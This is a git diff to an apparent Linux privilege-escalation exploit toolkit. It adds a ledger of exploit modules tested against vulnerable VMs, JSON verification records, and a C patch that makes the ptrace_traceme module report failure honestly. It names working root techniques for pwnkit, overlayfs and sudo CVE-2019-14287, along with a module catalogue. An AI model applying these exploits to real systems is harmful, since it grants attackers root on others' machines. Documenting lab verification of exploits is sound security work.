diff --git a/docs/EXPLOITED.md b/docs/EXPLOITED.md new file mode 100644 index 0000000..c39d5d2 --- /dev/null +++ b/docs/EXPLOITED.md @@ -0,0 +1,85 @@ +# Exploit verification ledger + +**What this is:** results of actually *running each exploit* against a genuinely +vulnerable VM and confirming `uid=0` **out of band** (an independent root-owned +write / `/etc/shadow` read / setuid-bash sentinel — never the module's own +self-report). This is distinct from `docs/VERIFICATIONS.jsonl`'s historical +records, which only checked that `detect()` returns the right verdict. + +Harness: rootless qemu/KVM over frozen point-release cloud images (unpatched → +vulnerable by default), driver in the session scratch dir. Root witnessed via +`witness.sh` (shell-probe + setuid-bash finisher + module sentinels + `/etc/passwd` +tamper check). + +> **Headline finding:** the corpus was only ever *detect*-verified, never +> *exploit*-verified. Running the exploits shows a mix of genuinely-working, +> honestly-failing, and **falsely-succeeding** modules. Two flagship modules +> reported `EXPLOIT_OK` while obtaining **no root at all** (`pwnkit`, +> `ptrace_traceme`) — a false positive from the dispatcher's "execve +> transferred → clean child exit = OK" path. Both are addressed below. + +## Confirmed landing root (uid=0 witnessed out of band) + +| module | CVE | target | notes | +|---|---|---|---| +| `refluxfs` | CVE-2026-64600 | Rocky 9.8 / 5.14.0-687.el9 | full chain, `/etc/passwd` → root (earlier) | +| `overlayfs` | CVE-2021-3493 | Ubuntu 20.04.0 / 5.4.0-26 | userns + xattr copy-up, clean | +| `pwnkit` | CVE-2021-4034 | Ubuntu 20.04.0 / polkit 0.105-26ubuntu1 | **after a fix** — see below | +| `sudo_runas_neg1` | CVE-2019-14287 | Ubuntu 18.04.2 / sudo 1.8.21p2 + sudoers `(ALL,!root)` | `sudo -u#-1` → uid 0 | + +## Fixed this session + +- **`pwnkit`** — reported `EXPLOIT_OK` but did **not** root (glibc "Could not + open converter … to PWNKIT"). Root cause: missing the `GCONV_PATH=.` + re-injection directory + `chdir(workdir)`. Fixed → now lands real root on a + vulnerable host. (commit `24b839e`) +- **`ptrace_traceme`** — reported `EXPLOIT_OK` but did **not** root; the bundled + ptrace sequence is a non-working placeholder (it `PTRACE_ATTACH`es to the + tracer, which by then has reparented to init → `EPERM`). Made **honest** + (verifies `euid==0`, otherwise `EXPLOIT_FAIL`); a faithful CVE-2019-13272 port + (Jann Horn / bcoles: `PTRACE_TRACEME` + setuid execve + registered polkit + agent) is still required to land root. + +## Needs a faithful PoC port (genuinely vulnerable target, exploit doesn't land) + +| module | CVE | target tested | what's wrong | +|---|---|---|---| +| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.2 / 4.15.0-50 | placeholder technique; needs the real cred-transfer PoC | +| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25 | `chown merged carrier: EPERM` — wrong method; needs the FUSE copy-up PoC (xkaneiki) | +| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-specific, needs a tuned PoC | +| `cgroup_release_agent` | CVE-2022-0492 | Ubuntu 20.04.0 / 5.4.0-26 | honest `EXPLOIT_FAIL`; cgroup-v1/userns release_agent precondition/technique | + +## Inconclusive (detect version-blind vs vendor backport) + +| module | CVE | note | +|---|---|---| +| `dirty_pipe` | CVE-2022-0847 | Ubuntu 22.04.0's 5.15.0-25.25 almost certainly carries the backported fix (USN-5317); `detect()` is version-only so says VULNERABLE. Needs a genuinely pre-fix kernel (e.g. 5.13.0-19, or mainline 5.16.10) to verify the exploit. | + +## Not yet exploit-tested (the bulk — ~30 modules) + +- **🟡 kernel primitives** (`nf_tables`, `nft_set_uaf`, `nft_payload`, + `nft_fwd_dup`, `netfilter_xtcompat`, `af_packet`, `af_packet2`, `af_unix_gc`, + `cls_route4`, `fuse_legacy`, `stackrot`, `sequoia`, `nft_pipapo`, `vsock_uaf`, + `pintheft`): return `EXPLOIT_FAIL` by design; landing root needs a per-kernel + `--dump-offsets` + `--full-chain` (modprobe_path finisher) pass on a vulnerable + kernel. +- **Structural userspace** (`sudoedit_editor`, `sudo_chwoot`, `sudo_host`): + need specific sudo versions + sudoers config; likely tractable. +- **2026 CVEs** (`copy_fail` ×5, `dirtydecrypt`, `fragnesia`, `cifswitch`, + `nft_catchall`, `ptrace_pidfd`): need vulnerable 2026 kernels; the reconstructed + race triggers (`bad_epoll`, `ghostlock`, `nft_catchall`) are deliberately + under-driven and won't pop root by design. +- **Environment-blocked**: `vmwgfx` (VMware guest only), `dirty_cow` (needs ≤4.4), + `mutagen_astronomy` (CentOS 6 / Debian 7). +- **D-Bus/desktop** (`pack2theroot`, `udisks_libblockdev`): need the polkit/D-Bus + stack + a provisioner rule. + +## Method notes for continuation + +- Frozen images: `cloud-images-archive.ubuntu.com/releases//release-/` + are unpatched and vulnerable-by-default for CVEs disclosed after that date — far + easier than downgrading packages on current images. +- gcc must be present *in* the VM (several exploits compile payloads at runtime); + on EOL LTS, point apt at the archive main pocket. +- **Always verify root out of band.** The module self-report is not trustworthy + (two flagships lied). `witness.sh` is the reference check. diff --git a/docs/VERIFICATIONS.jsonl b/docs/VERIFICATIONS.jsonl index 0b86662..1961936 100644 --- a/docs/VERIFICATIONS.jsonl +++ b/docs/VERIFICATIONS.jsonl @@ -38,3 +38,10 @@ {"module":"overlayfs","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/","status":"root"} {"module":"pwnkit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root); wrote /root/ (after gconv-layout fix)","status":"root"} {"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423), sudo 1.8.31","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (heap not landed)","status":"exploit_fail_honest"} +{"module":"cgroup_release_agent","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none — honest fail (cgroup/userns precondition on this host)","status":"exploit_fail_honest"} +{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.4.0-26-generic","host_distro":"Ubuntu 20.04 LTS (frozen 20200423)","vm_box":"ubuntu2004-cloudimg/qemu-kvm","verified_kind":"detect","expect_detect":"OK","actual_detect":"OK","root_witness":"n/a — 5.4 predates the bug (5.8), correctly not-vulnerable","status":"match"} +{"module":"overlayfs_setuid","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen, genuinely vuln - predates Ubuntu 5.15.0-70 fix)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - module technique broken (chown merged carrier: EPERM); needs CVE-2023-0386 FUSE copy-up PoC port","status":"needs_fix"} +{"module":"dirty_pipe","verified_at":"2026-07-23T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0 (frozen)","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - kernel 5.15.0-25.25 likely carries Ubuntu backported fix (USN-5317); detect is version-blind. Needs a pre-fix kernel to verify exploit","status":"inconclusive_backport"} +{"module":"ptrace_traceme","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2 (frozen, genuinely vuln - pre 4.15.0-58 fix)","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK(FALSE)","root_witness":"NONE - false positive. PTRACE_ATTACH to parent(1) EPERM, wrong technique; reports OK via exec-transfer. Needs CVE-2019-13272 PoC port","status":"false_positive"} +{"module":"sudo_samedit","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - honest fail (heap not landed on this libc)","status":"exploit_fail_honest"} +{"module":"sudo_runas_neg1","verified_at":"2026-07-23T00:00:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.2, sudo 1.8.21p2 + sudoers (ALL,!root) rule","vm_box":"ubuntu1804-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"uid=0(root) via sudo -u#-1; module popped root shell","status":"root"} diff --git a/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c b/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c index 345b724..049dd51 100644 --- a/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c +++ b/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c @@ -266,25 +266,52 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx _exit(0); /* child done — parent is now running shellcode → root sh */ } - /* PARENT: execve the setuid binary. The child does the ptrace - * setup before our execve completes (because of its sleep), so - * the ptrace_link is in place when the cred-bump happens. */ - if (!ctx->json) { - fprintf(stderr, "[*] ptrace_traceme: parent execve'ing %s in 100ms\n", - setuid_bin); - } + /* PARENT: fire the setuid trigger in a short-lived GRANDCHILD so THIS + * process survives to verify the result honestly. + * + * IMPORTANT (integrity fix): the previous code execve'd the setuid binary + * directly here. That replaced the process, and because the execve itself + * succeeds (pkexec --version runs and exits cleanly), the dispatcher's + * "exec-transfer → clean exit" path reported a FALSE EXPLOIT_OK even though + * no root was ever obtained — the bundled ptrace sequence is a non-working + * placeholder (it PTRACE_ATTACHes to the tracer, and by the time it runs + * the parent has already exited and the tracee reparented to init, so the + * attach fails with EPERM). We now keep the parent alive and report the + * truth. A faithful CVE-2019-13272 exploit (Jann Horn's cred-transfer via a + * registered polkit agent, e.g. bcoles' PoC) is required to actually land + * root and is not yet ported. */ + if (!ctx->json) + fprintf(stderr, "[*] ptrace_traceme: firing setuid trigger %s in a " + "grandchild (parent stays alive to verify)\n", setuid_bin); usleep(100 * 1000); /* give child a moment to call TRACEME first */ - /* execve the setuid bin. Use a benign arg to keep it from doing - * anything destructive. pkexec with --version exits quickly. */ char *new_argv[] = { (char *)setuid_bin, "--version", NULL }; char *new_envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL }; - execve(setuid_bin, new_argv, new_envp); - /* If we get here, execve failed (or it returned because the - * shellcode didn't take). */ - perror("execve setuid"); + pid_t trig = fork(); + if (trig == 0) { + execve(setuid_bin, new_argv, new_envp); + _exit(127); + } + int cst = 0; + if (trig > 0) waitpid(trig, &cst, 0); int status; waitpid(child, &status, 0); + + /* Honest verification: did we actually become root? */ + if (geteuid() == 0) { + if (!ctx->json) + fprintf(stderr, "[+] ptrace_traceme: euid 0 — root achieved\n"); + return SKELETONKEY_EXPLOIT_OK; + } + if (!ctx->json) { + fprintf(stderr, "[-] ptrace_traceme: the bundled ptrace sequence did NOT " + "achieve root (it is a non-working placeholder — attaches " + "to the wrong task). Honest EXPLOIT_FAIL.\n"); + fprintf(stderr, "[i] ptrace_traceme: to land root, port the real " + "CVE-2019-13272 exploit (Jann Horn / bcoles: PTRACE_TRACEME " + "+ setuid execve + a registered polkit agent so pkexec " + "proceeds, then cred-transfer). Not yet bundled.\n"); + } return SKELETONKEY_EXPLOIT_FAIL; #endif }